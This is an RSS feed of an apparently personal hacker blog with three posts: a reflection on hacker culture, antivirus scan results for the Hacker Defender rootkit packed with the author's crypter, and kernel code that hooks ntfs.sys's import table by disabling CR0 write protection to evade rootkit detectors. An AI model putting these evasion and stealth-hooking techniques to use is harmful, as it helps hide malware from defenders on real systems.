<?xml version="1.0" encoding="UTF-8"?>
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:default="http://purl.org/rss/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:admin="http://webns.net/mvcb/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:content="http://purl.org/rss/1.0/modules/content/"><default:channel xmlns="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:admin="http://webns.net/mvcb/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" rdf:about="http://tibbar.blog.co.uk/"><title>Adventures of the White Rabbit</title><link>http://tibbar.blog.co.uk/</link><description></description><dc:language xmlns:dc="http://purl.org/dc/elements/1.1/">en-UK</dc:language><admin:generatorAgent xmlns:admin="http://webns.net/mvcb/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" rdf:resource="http://www.blog.co.uk"/><sy:updatePeriod xmlns:sy="http://purl.org/rss/1.0/modules/syndication/">hourly</sy:updatePeriod><sy:updateFrequency xmlns:sy="http://purl.org/rss/1.0/modules/syndication/">8</sy:updateFrequency><sy:updateBase xmlns:sy="http://purl.org/rss/1.0/modules/syndication/">2000-01-01T12:00+00:00</sy:updateBase><image><title>Adventures of the White Rabbit</title><link>http://tibbar.blog.co.uk/</link><url>http://data5.blog.de/design/preview/0d/a93a932a8fe428650e528c433d0180_160x200.jpg</url></image><items><rdf:Seq><rdf:li rdf:resource="http://tibbar.blog.co.uk/2008/07/21/reflecting-on-better-times-4480281/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/12/26/codecrypter_1_year_on~1479320/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/12/22/hooking_drivers~1469031/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/10/19/linux_server_framework~1240678/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/07/15/reactos~962335/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/06/18/update~892492/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/04/11/what_comes_next~720805/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/04/06/kernel_mode_ircbot~708256/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/03/31/codecrypter_next_release_plans~689557/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/03/23/jotti_scan~668946/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/03/01/codecrypter~604986/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/02/28/kernel_mode_ftpserver~601541/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/02/18/away~573482/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/02/18/tibbar_org~571860/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/02/16/code_perversion~568650/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/02/16/defeating_anti_virus_with_crypters~566079/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/02/15/ndis_backdoor~566018/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/02/14/two_way_authentication_to_defeat_phishin~560753/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/02/12/trust~555670/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/02/11/modifying_exe_s_to_dll_s_for_firewall_by~553830/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/02/10/bypassing_software_firewalls~553208/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/02/10/software_firewalls~551154/"/><rdf:li rdf:resource="http://tibbar.blog.co.uk/2006/02/10/the_beginning~550776/"/></rdf:Seq></items></default:channel><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2008/07/21/reflecting-on-better-times-4480281/"><default:title>Reflecting on better times</default:title><default:link>http://tibbar.blog.co.uk/2008/07/21/reflecting-on-better-times-4480281/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2008-07-21T20:25:10+02:00</dc:date><default:description>	&lt;p&gt;Well, what happens when you leave your blog for a bit too long... spammers mess up everything!  Spent the last hour manually deleting all the comments, so I'm afraid it's going to be moderated from now on.&lt;/p&gt;
	&lt;p&gt;Hopefully I'll find time to post again soon.  Shame that all my friends from the good old days have gone commercial.&lt;/p&gt;
	&lt;p&gt;No one seems to share anything these days... and all the new certified university "hackers" are completely uninventive and most don't know how to code.&lt;/p&gt;
	&lt;p&gt;My definition of a hacker would be someone who will work on a problem 24x7 for as long as it takes.  Solving the problem is more important to us than eating, friends and family.  It is our world.&lt;/p&gt;
	&lt;p&gt;This new idea of learning to be a "security professional" at university does not equate to being a hacker.&lt;/p&gt;
	&lt;p&gt;Some irony, originally a lot of "hackers" or "skiddies" were involved in the fxp scene.  We used to make fun of them and labelled them as a low class of hacker and had little respect for what they did.  And then there were "crackers" etc who we labelled as dangerous and thought they gave the rest of us a bad name.&lt;/p&gt;
	&lt;p&gt;But now we have lost our world altogether.  No one will share or help.  There is no community.  I remember about 8 years ago, I would chat with other hackers on irc and jointly develop projects until the early hours of the morning, virtually every single day.  There was a real sense of community and incredible energy and brilliance.&lt;/p&gt;
	&lt;p&gt;Today the fxp world remains the same, if not stronger.  They still have this energy and have not sold out - no one makes money from it.  We have destroyed our own little universe by commercialisation and things will never be the same again.&lt;/p&gt;
	&lt;p&gt;Long live phrack.
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2008/07/21/reflecting-on-better-times-4480281/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>Well, what happens when you leave your blog for a bit too long... spammers mess up everything!  Spent the last hour manually deleting all the comments, so I'm afraid it's going to be moderated from now on.</p>
	<p>Hopefully I'll find time to post again soon.  Shame that all my friends from the good old days have gone commercial.</p>
	<p>No one seems to share anything these days... and all the new certified university "hackers" are completely uninventive and most don't know how to code.</p>
	<p>My definition of a hacker would be someone who will work on a problem 24x7 for as long as it takes.  Solving the problem is more important to us than eating, friends and family.  It is our world.</p>
	<p>This new idea of learning to be a "security professional" at university does not equate to being a hacker.</p>
	<p>Some irony, originally a lot of "hackers" or "skiddies" were involved in the fxp scene.  We used to make fun of them and labelled them as a low class of hacker and had little respect for what they did.  And then there were "crackers" etc who we labelled as dangerous and thought they gave the rest of us a bad name.</p>
	<p>But now we have lost our world altogether.  No one will share or help.  There is no community.  I remember about 8 years ago, I would chat with other hackers on irc and jointly develop projects until the early hours of the morning, virtually every single day.  There was a real sense of community and incredible energy and brilliance.</p>
	<p>Today the fxp world remains the same, if not stronger.  They still have this energy and have not sold out - no one makes money from it.  We have destroyed our own little universe by commercialisation and things will never be the same again.</p>
	<p>Long live phrack.
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2008/07/21/reflecting-on-better-times-4480281/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/12/26/codecrypter_1_year_on~1479320/"><default:title>CodeCrypter 1 Year On</default:title><default:link>http://tibbar.blog.co.uk/2006/12/26/codecrypter_1_year_on~1479320/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-12-26T02:43:20+01:00</dc:date><default:description>	&lt;p&gt;Ok, so it's a year since i released a POC packer called code crypter.  What's changed since then?  Has detection improved or not...&lt;/p&gt;
	&lt;p&gt;To make the test fair, i firstly changed the entry stub in a very minor way (switched the order of some pop's and the nops, hardly significant).  This yielded the following results when crypting the popular rootkit hacker defended (using option 1 to crypt the resources too): (I used the popular site VirusTotal here)&lt;/p&gt;
	&lt;p&gt;Antivirus	Version	Update	Result&lt;br&gt;
AntiVir	7.3.0.21	12.25.2006	no virus found&lt;br&gt;
Authentium	4.93.8	12.22.2006	no virus found&lt;br&gt;
Avast	4.7.892.0	12.21.2006	no virus found&lt;br&gt;
AVG	386	12.25.2006	no virus found&lt;br&gt;
BitDefender	7.2	12.25.2006	no virus found&lt;br&gt;
CAT-QuickHeal	8.00	12.25.2006	(Suspicious) - DNAScan&lt;br&gt;
ClamAV	devel-20060426	12.25.2006	no virus found&lt;br&gt;
DrWeb	4.33	12.26.2006	Win32.HLLW.MyBot&lt;br&gt;
eSafe	7.0.14.0	12.25.2006	no virus found&lt;br&gt;
eTrust-InoculateIT	23.73.98	12.24.2006	no virus found&lt;br&gt;
eTrust-Vet	30.3.3271	12.23.2006	no virus found&lt;br&gt;
Ewido	4.0	12.25.2006	no virus found&lt;br&gt;
Fortinet	2.82.0.0	12.25.2006	suspicious&lt;br&gt;
F-Prot	3.16f	12.22.2006	no virus found&lt;br&gt;
F-Prot4	4.2.1.29	12.22.2006	no virus found&lt;br&gt;
Ikarus	T3.1.0.27	12.25.2006	Backdoor.Win32.HacDef.073.B&lt;br&gt;
Kaspersky	4.0.2.24	12.26.2006	no virus found&lt;br&gt;
McAfee	4925	12.22.2006	HackerDefender.sys&lt;br&gt;
Microsoft	1.1904	12.25.2006	Backdoor:Win32/Hackdef.P&lt;br&gt;
NOD32v2	1938	12.25.2006	a variant of Win32/HacDef&lt;br&gt;
Norman	5.80.02	12.22.2006	no virus found&lt;br&gt;
Panda	9.0.0.4	12.25.2006	Suspicious file&lt;br&gt;
Prevx1	V2	12.26.2006	no virus found&lt;br&gt;
Sophos	4.12.0	12.24.2006	no virus found&lt;br&gt;
Sunbelt	2.2.907.0	12.18.2006	VIPRE.Suspicious&lt;br&gt;
TheHacker	6.0.3.136	12.24.2006	no virus found&lt;br&gt;
UNA	1.83	12.25.2006	no virus found&lt;br&gt;
VBA32	3.11.1	12.25.2006	BackDoor.HackDef.164&lt;br&gt;
VirusBuster	4.3.19:9	12.25.2006	no virus found&lt;/p&gt;
	&lt;p&gt;Aditional Information&lt;br&gt;
File size: 89600 bytes&lt;br&gt;
MD5: 7e924ec45ff49c43cf43c4fcc8227b5d&lt;br&gt;
SHA1: 6e659fcf91e447f46dca1d413e02e1d0e870468a&lt;br&gt;
packers: PECRYPT&lt;br&gt;
packers: PE-Crypt.CodeCrypt&lt;br&gt;
Sunbelt info: VIPRE.Suspicious is a generic detection for potential threats that are deemed suspicious through heuristics.&lt;/p&gt;
	&lt;p&gt;Ok, so a lot of AV are still unable to detect this, with only a minor stub modification...which is worrying.&lt;/p&gt;
	&lt;p&gt;I then decided to make the test a bit tougher.  After re-writing the stub and unpacking algorithm in plain c (from the original in asm), I also changed the choice of parameters for the LCG based encryption.  This produced the following results:&lt;/p&gt;
	&lt;p&gt;Antivirus	Version	Update	Result&lt;br&gt;
AntiVir	7.3.0.21	12.25.2006	no virus found&lt;br&gt;
Authentium	4.93.8	12.22.2006	no virus found&lt;br&gt;
Avast	4.7.892.0	12.21.2006	no virus found&lt;br&gt;
AVG	386	12.25.2006	no virus found&lt;br&gt;
BitDefender	7.2	12.25.2006	no virus found&lt;br&gt;
CAT-QuickHeal	8.00	12.25.2006	(Suspicious) - DNAScan&lt;br&gt;
ClamAV	devel-20060426	12.25.2006	no virus found&lt;br&gt;
DrWeb	4.33	12.26.2006	no virus found&lt;br&gt;
eSafe	7.0.14.0	12.25.2006	no virus found&lt;br&gt;
eTrust-InoculateIT	23.73.98	12.24.2006	no virus found&lt;br&gt;
eTrust-Vet	30.3.3271	12.23.2006	no virus found&lt;br&gt;
Ewido	4.0	12.25.2006	no virus found&lt;br&gt;
Fortinet	2.82.0.0	12.25.2006	suspicious&lt;br&gt;
F-Prot	3.16f	12.22.2006	no virus found&lt;br&gt;
F-Prot4	4.2.1.29	12.22.2006	no virus found&lt;br&gt;
Ikarus	T3.1.0.27	12.25.2006	Backdoor.Win32.HacDef.073.B&lt;br&gt;
Kaspersky	4.0.2.24	12.26.2006	no virus found&lt;br&gt;
McAfee	4925	12.22.2006	HackerDefender.sys&lt;br&gt;
Microsoft	1.1904	12.25.2006	Backdoor:Win32/Hackdef.P&lt;br&gt;
NOD32v2	1938	12.25.2006	a variant of Win32/HacDef&lt;br&gt;
Norman	5.80.02	12.22.2006	no virus found&lt;br&gt;
Panda	9.0.0.4	12.25.2006	Suspicious file&lt;br&gt;
Prevx1	V2	12.26.2006	no virus found&lt;br&gt;
Sophos	4.12.0	12.24.2006	no virus found&lt;br&gt;
Sunbelt	2.2.907.0	12.18.2006	VIPRE.Suspicious&lt;br&gt;
TheHacker	6.0.3.136	12.24.2006	no virus found&lt;br&gt;
UNA	1.83	12.25.2006	no virus found&lt;br&gt;
VBA32	3.11.1	12.25.2006	BackDoor.HackDef.164&lt;br&gt;
VirusBuster	4.3.19:9	12.25.2006	no virus found&lt;/p&gt;
	&lt;p&gt;Aditional Information&lt;br&gt;
File size: 89600 bytes&lt;br&gt;
MD5: d68a7de4595b48bf6c395a6e43b6636a&lt;br&gt;
SHA1: 818d526a2721e2b61a426568a865454440375ef2&lt;br&gt;
Sunbelt info: VIPRE.Suspicious is a generic detection for potential threats that are deemed suspicious through heuristics.&lt;/p&gt;
	&lt;p&gt;So, the conclusion is that AV have improved since I last tested, but only the mainstream ones.  KAV is still disappointing given its good reputation, along with F-Protect and Sophos.&lt;/p&gt;
	&lt;p&gt;(Clearly I am relying on the versions used by Virus Total being up to date).&lt;/p&gt;
	&lt;p&gt;Out of curiousity, I posted this to Jotti.org and got the following results:&lt;/p&gt;
	&lt;p&gt; Status:&lt;br&gt;
INFECTED/MALWARE&lt;br&gt;
Packers detected:&lt;br&gt;
PRIVATE EXE PROTECTOR&lt;br&gt;
Scanner results&lt;br&gt;
AntiVir&lt;br&gt;
Found nothing&lt;br&gt;
ArcaVir&lt;br&gt;
Found nothing&lt;br&gt;
Avast&lt;br&gt;
Found nothing&lt;br&gt;
AVG Antivirus&lt;br&gt;
Found nothing&lt;br&gt;
BitDefender&lt;br&gt;
Found nothing&lt;br&gt;
ClamAV&lt;br&gt;
Found nothing&lt;br&gt;
Dr.Web&lt;br&gt;
Found nothing&lt;br&gt;
F-Prot Antivirus&lt;br&gt;
Found nothing&lt;br&gt;
F-Secure Anti-Virus&lt;br&gt;
Found nothing&lt;br&gt;
Fortinet&lt;br&gt;
Found nothing&lt;br&gt;
Kaspersky Anti-Virus&lt;br&gt;
Found nothing&lt;br&gt;
NOD32&lt;br&gt;
Found a variant of Win32/HacDef&lt;br&gt;
Norman Virus Control&lt;br&gt;
Found nothing&lt;br&gt;
VirusBuster&lt;br&gt;
Found nothing&lt;br&gt;
VBA32&lt;br&gt;
Found BackDoor.HackDef.164
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/12/26/codecrypter_1_year_on~1479320/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>Ok, so it's a year since i released a POC packer called code crypter.  What's changed since then?  Has detection improved or not...</p>
	<p>To make the test fair, i firstly changed the entry stub in a very minor way (switched the order of some pop's and the nops, hardly significant).  This yielded the following results when crypting the popular rootkit hacker defended (using option 1 to crypt the resources too): (I used the popular site VirusTotal here)</p>
	<p>Antivirus	Version	Update	Result<br>
AntiVir	7.3.0.21	12.25.2006	no virus found<br>
Authentium	4.93.8	12.22.2006	no virus found<br>
Avast	4.7.892.0	12.21.2006	no virus found<br>
AVG	386	12.25.2006	no virus found<br>
BitDefender	7.2	12.25.2006	no virus found<br>
CAT-QuickHeal	8.00	12.25.2006	(Suspicious) - DNAScan<br>
ClamAV	devel-20060426	12.25.2006	no virus found<br>
DrWeb	4.33	12.26.2006	Win32.HLLW.MyBot<br>
eSafe	7.0.14.0	12.25.2006	no virus found<br>
eTrust-InoculateIT	23.73.98	12.24.2006	no virus found<br>
eTrust-Vet	30.3.3271	12.23.2006	no virus found<br>
Ewido	4.0	12.25.2006	no virus found<br>
Fortinet	2.82.0.0	12.25.2006	suspicious<br>
F-Prot	3.16f	12.22.2006	no virus found<br>
F-Prot4	4.2.1.29	12.22.2006	no virus found<br>
Ikarus	T3.1.0.27	12.25.2006	Backdoor.Win32.HacDef.073.B<br>
Kaspersky	4.0.2.24	12.26.2006	no virus found<br>
McAfee	4925	12.22.2006	HackerDefender.sys<br>
Microsoft	1.1904	12.25.2006	Backdoor:Win32/Hackdef.P<br>
NOD32v2	1938	12.25.2006	a variant of Win32/HacDef<br>
Norman	5.80.02	12.22.2006	no virus found<br>
Panda	9.0.0.4	12.25.2006	Suspicious file<br>
Prevx1	V2	12.26.2006	no virus found<br>
Sophos	4.12.0	12.24.2006	no virus found<br>
Sunbelt	2.2.907.0	12.18.2006	VIPRE.Suspicious<br>
TheHacker	6.0.3.136	12.24.2006	no virus found<br>
UNA	1.83	12.25.2006	no virus found<br>
VBA32	3.11.1	12.25.2006	BackDoor.HackDef.164<br>
VirusBuster	4.3.19:9	12.25.2006	no virus found</p>
	<p>Aditional Information<br>
File size: 89600 bytes<br>
MD5: 7e924ec45ff49c43cf43c4fcc8227b5d<br>
SHA1: 6e659fcf91e447f46dca1d413e02e1d0e870468a<br>
packers: PECRYPT<br>
packers: PE-Crypt.CodeCrypt<br>
Sunbelt info: VIPRE.Suspicious is a generic detection for potential threats that are deemed suspicious through heuristics.</p>
	<p>Ok, so a lot of AV are still unable to detect this, with only a minor stub modification...which is worrying.</p>
	<p>I then decided to make the test a bit tougher.  After re-writing the stub and unpacking algorithm in plain c (from the original in asm), I also changed the choice of parameters for the LCG based encryption.  This produced the following results:</p>
	<p>Antivirus	Version	Update	Result<br>
AntiVir	7.3.0.21	12.25.2006	no virus found<br>
Authentium	4.93.8	12.22.2006	no virus found<br>
Avast	4.7.892.0	12.21.2006	no virus found<br>
AVG	386	12.25.2006	no virus found<br>
BitDefender	7.2	12.25.2006	no virus found<br>
CAT-QuickHeal	8.00	12.25.2006	(Suspicious) - DNAScan<br>
ClamAV	devel-20060426	12.25.2006	no virus found<br>
DrWeb	4.33	12.26.2006	no virus found<br>
eSafe	7.0.14.0	12.25.2006	no virus found<br>
eTrust-InoculateIT	23.73.98	12.24.2006	no virus found<br>
eTrust-Vet	30.3.3271	12.23.2006	no virus found<br>
Ewido	4.0	12.25.2006	no virus found<br>
Fortinet	2.82.0.0	12.25.2006	suspicious<br>
F-Prot	3.16f	12.22.2006	no virus found<br>
F-Prot4	4.2.1.29	12.22.2006	no virus found<br>
Ikarus	T3.1.0.27	12.25.2006	Backdoor.Win32.HacDef.073.B<br>
Kaspersky	4.0.2.24	12.26.2006	no virus found<br>
McAfee	4925	12.22.2006	HackerDefender.sys<br>
Microsoft	1.1904	12.25.2006	Backdoor:Win32/Hackdef.P<br>
NOD32v2	1938	12.25.2006	a variant of Win32/HacDef<br>
Norman	5.80.02	12.22.2006	no virus found<br>
Panda	9.0.0.4	12.25.2006	Suspicious file<br>
Prevx1	V2	12.26.2006	no virus found<br>
Sophos	4.12.0	12.24.2006	no virus found<br>
Sunbelt	2.2.907.0	12.18.2006	VIPRE.Suspicious<br>
TheHacker	6.0.3.136	12.24.2006	no virus found<br>
UNA	1.83	12.25.2006	no virus found<br>
VBA32	3.11.1	12.25.2006	BackDoor.HackDef.164<br>
VirusBuster	4.3.19:9	12.25.2006	no virus found</p>
	<p>Aditional Information<br>
File size: 89600 bytes<br>
MD5: d68a7de4595b48bf6c395a6e43b6636a<br>
SHA1: 818d526a2721e2b61a426568a865454440375ef2<br>
Sunbelt info: VIPRE.Suspicious is a generic detection for potential threats that are deemed suspicious through heuristics.</p>
	<p>So, the conclusion is that AV have improved since I last tested, but only the mainstream ones.  KAV is still disappointing given its good reputation, along with F-Protect and Sophos.</p>
	<p>(Clearly I am relying on the versions used by Virus Total being up to date).</p>
	<p>Out of curiousity, I posted this to Jotti.org and got the following results:</p>
	<p> Status:<br>
INFECTED/MALWARE<br>
Packers detected:<br>
PRIVATE EXE PROTECTOR<br>
Scanner results<br>
AntiVir<br>
Found nothing<br>
ArcaVir<br>
Found nothing<br>
Avast<br>
Found nothing<br>
AVG Antivirus<br>
Found nothing<br>
BitDefender<br>
Found nothing<br>
ClamAV<br>
Found nothing<br>
Dr.Web<br>
Found nothing<br>
F-Prot Antivirus<br>
Found nothing<br>
F-Secure Anti-Virus<br>
Found nothing<br>
Fortinet<br>
Found nothing<br>
Kaspersky Anti-Virus<br>
Found nothing<br>
NOD32<br>
Found a variant of Win32/HacDef<br>
Norman Virus Control<br>
Found nothing<br>
VirusBuster<br>
Found nothing<br>
VBA32<br>
Found BackDoor.HackDef.164
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/12/26/codecrypter_1_year_on~1479320/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/12/22/hooking_drivers~1469031/"><default:title>Hooking drivers</default:title><default:link>http://tibbar.blog.co.uk/2006/12/22/hooking_drivers~1469031/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-12-22T18:42:56+01:00</dc:date><default:description>	&lt;p&gt;Sorry it's been a while since I posted, life sometimes gets in the way...&lt;/p&gt;
	&lt;p&gt;I thought I'd publish something that I wrote in a private project over a year ago - how to hook the import address table of a driver (ring 0).&lt;/p&gt;
	&lt;p&gt;Basically, lots of drivers will use kernel api that are exported by ntoskrnl.exe.  If you wish to subvert a kernel mode driver (.sys), one easy way might be to hook a function it links against... but you might not want to hook it globally, as it will get picked up by rootkit detectors.&lt;/p&gt;
	&lt;p&gt;That's where hooking the Import Address Table (IAT) comes in.  .sys files are standard PE files, and also have an IAT.  This is a table that is populate with pointers to functions that the driver links against.&lt;/p&gt;
	&lt;p&gt;This is a common technique in user mode, but it's slightly more complex to implement in kernel mode, since the .sys file clears out the import data once the PE loader has finished (meaning you can't find which function is which for an in-memory .sys).&lt;/p&gt;
	&lt;p&gt;I get around this by working out the RVA of the function pointer from the file on disk and then adjusting this to find the position of the pointer in the loaded version.&lt;/p&gt;
	&lt;p&gt;The example shows a hook of the function RtlGenerate8dot3Name within ntfs.sys (the RtlGenerate8dot3Name routine generates a short (8.3) name for the specified long file name).&lt;/p&gt;
	&lt;p&gt;(use the test driver at your own peril, as it can be dangerous for file systems to hook ntfs!).&lt;/p&gt;
	&lt;p&gt;The usage is quite simple, as shown in the sample code below:&lt;/p&gt;
	&lt;blockquote&gt;&lt;p&gt;NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str)&lt;br&gt;
{&lt;br&gt;
	DWORD didItWork = 0;&lt;br&gt;
	DWORD RVA, Thunk;&lt;br&gt;
	UNICODE_STRING driverName;&lt;br&gt;
	PVOID base = NULL;&lt;br&gt;
	char functionName[] = "RtlGenerate8dot3Name";&lt;br&gt;
	char libraryName[] = "ntoskrnl.exe";&lt;br&gt;
	//find the base address of target driver&lt;br&gt;
	base = FindDriverBase("ntfs.sys");&lt;br&gt;
	//DbgBreakPoint();&lt;br&gt;
	if(NULL==base)&lt;br&gt;
	{&lt;br&gt;
		DbgPrint("base not found");&lt;br&gt;
		return STATUS_SUCCESS;&lt;br&gt;
	}&lt;/p&gt;
	&lt;p&gt;	RtlInitUnicodeString(&amp;driverName, L"&lt;em&gt;Device&lt;/em&gt;HarddiskVolume1&lt;em&gt;Windows&lt;/em&gt;System32&lt;em&gt;drivers&lt;/em&gt;ntfs.sys");&lt;br&gt;
	didItWork = GetIATPointerRVAFromBase(functionName, libraryName, &amp;driverName, &amp;Thunk, &amp;RVA );&lt;/p&gt;
	&lt;p&gt;	if(0==didItWork)&lt;br&gt;
	{&lt;br&gt;
		DbgPrint("IATPointerRVA not found");&lt;br&gt;
		return STATUS_SUCCESS;&lt;br&gt;
	}&lt;/p&gt;
	&lt;p&gt;	g_IATFunctionPointer = (DWORD*)( (BYTE*)base + Thunk ) + RVA;&lt;/p&gt;
	&lt;p&gt;	if(NULL==g_IATFunctionPointer)&lt;br&gt;
	{&lt;br&gt;
		DbgPrint("IATFunctionPointer not found");&lt;br&gt;
		return STATUS_SUCCESS;&lt;br&gt;
	}&lt;/p&gt;
	&lt;p&gt;	g_OriginalRtlGenerate8dot3Name = *(PVOID*)g_IATFunctionPointer;&lt;br&gt;
	DbgBreakPoint();&lt;br&gt;
	_asm&lt;br&gt;
	{&lt;br&gt;
		CLI					//dissable interrupt&lt;br&gt;
		MOV	EAX, CR0		//move CR0 register into EAX&lt;br&gt;
		AND EAX, NOT 10000H //disable WP bit&lt;br&gt;
		MOV	CR0, EAX		//write register back&lt;br&gt;
	}&lt;/p&gt;
	&lt;p&gt;	*(PVOID*)g_IATFunctionPointer = MyRtlGenerate8dot3Name;&lt;br&gt;
	_asm&lt;br&gt;
	{&lt;br&gt;
		MOV	EAX, CR0		//move CR0 register into EAX&lt;br&gt;
		OR	EAX, 10000H		//enable WP bit&lt;br&gt;
		MOV	CR0, EAX		//write register back&lt;br&gt;
		STI					//enable interrupt&lt;br&gt;
	}&lt;br&gt;
	if (DriverObject) DriverObject-&gt;DriverUnload = Unload;&lt;br&gt;
	return DriverObject ? STATUS_SUCCESS : STATUS_UNSUCCESSFUL;&lt;br&gt;
}&lt;/p&gt;&lt;/blockquote&gt;
	&lt;p&gt;You can download it from:&lt;br&gt;
&lt;a href="http://tibbar.gso.googlepages.com/hookiat.rar"&gt;&lt;/p&gt;
	&lt;p&gt;HookNTFS&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/12/22/hooking_drivers~1469031/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>Sorry it's been a while since I posted, life sometimes gets in the way...</p>
	<p>I thought I'd publish something that I wrote in a private project over a year ago - how to hook the import address table of a driver (ring 0).</p>
	<p>Basically, lots of drivers will use kernel api that are exported by ntoskrnl.exe.  If you wish to subvert a kernel mode driver (.sys), one easy way might be to hook a function it links against... but you might not want to hook it globally, as it will get picked up by rootkit detectors.</p>
	<p>That's where hooking the Import Address Table (IAT) comes in.  .sys files are standard PE files, and also have an IAT.  This is a table that is populate with pointers to functions that the driver links against.</p>
	<p>This is a common technique in user mode, but it's slightly more complex to implement in kernel mode, since the .sys file clears out the import data once the PE loader has finished (meaning you can't find which function is which for an in-memory .sys).</p>
	<p>I get around this by working out the RVA of the function pointer from the file on disk and then adjusting this to find the position of the pointer in the loaded version.</p>
	<p>The example shows a hook of the function RtlGenerate8dot3Name within ntfs.sys (the RtlGenerate8dot3Name routine generates a short (8.3) name for the specified long file name).</p>
	<p>(use the test driver at your own peril, as it can be dangerous for file systems to hook ntfs!).</p>
	<p>The usage is quite simple, as shown in the sample code below:</p>
	<blockquote><p>NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str)<br>
{<br>
	DWORD didItWork = 0;<br>
	DWORD RVA, Thunk;<br>
	UNICODE_STRING driverName;<br>
	PVOID base = NULL;<br>
	char functionName[] = "RtlGenerate8dot3Name";<br>
	char libraryName[] = "ntoskrnl.exe";<br>
	//find the base address of target driver<br>
	base = FindDriverBase("ntfs.sys");<br>
	//DbgBreakPoint();<br>
	if(NULL==base)<br>
	{<br>
		DbgPrint("base not found");<br>
		return STATUS_SUCCESS;<br>
	}</p>
	<p>	RtlInitUnicodeString(&driverName, L"<em>Device</em>HarddiskVolume1<em>Windows</em>System32<em>drivers</em>ntfs.sys");<br>
	didItWork = GetIATPointerRVAFromBase(functionName, libraryName, &driverName, &Thunk, &RVA );</p>
	<p>	if(0==didItWork)<br>
	{<br>
		DbgPrint("IATPointerRVA not found");<br>
		return STATUS_SUCCESS;<br>
	}</p>
	<p>	g_IATFunctionPointer = (DWORD*)( (BYTE*)base + Thunk ) + RVA;</p>
	<p>	if(NULL==g_IATFunctionPointer)<br>
	{<br>
		DbgPrint("IATFunctionPointer not found");<br>
		return STATUS_SUCCESS;<br>
	}</p>
	<p>	g_OriginalRtlGenerate8dot3Name = *(PVOID*)g_IATFunctionPointer;<br>
	DbgBreakPoint();<br>
	_asm<br>
	{<br>
		CLI					//dissable interrupt<br>
		MOV	EAX, CR0		//move CR0 register into EAX<br>
		AND EAX, NOT 10000H //disable WP bit<br>
		MOV	CR0, EAX		//write register back<br>
	}</p>
	<p>	*(PVOID*)g_IATFunctionPointer = MyRtlGenerate8dot3Name;<br>
	_asm<br>
	{<br>
		MOV	EAX, CR0		//move CR0 register into EAX<br>
		OR	EAX, 10000H		//enable WP bit<br>
		MOV	CR0, EAX		//write register back<br>
		STI					//enable interrupt<br>
	}<br>
	if (DriverObject) DriverObject->DriverUnload = Unload;<br>
	return DriverObject ? STATUS_SUCCESS : STATUS_UNSUCCESSFUL;<br>
}</p></blockquote>
	<p>You can download it from:<br>
<a href="http://tibbar.gso.googlepages.com/hookiat.rar"></p>
	<p>HookNTFS</a></p>
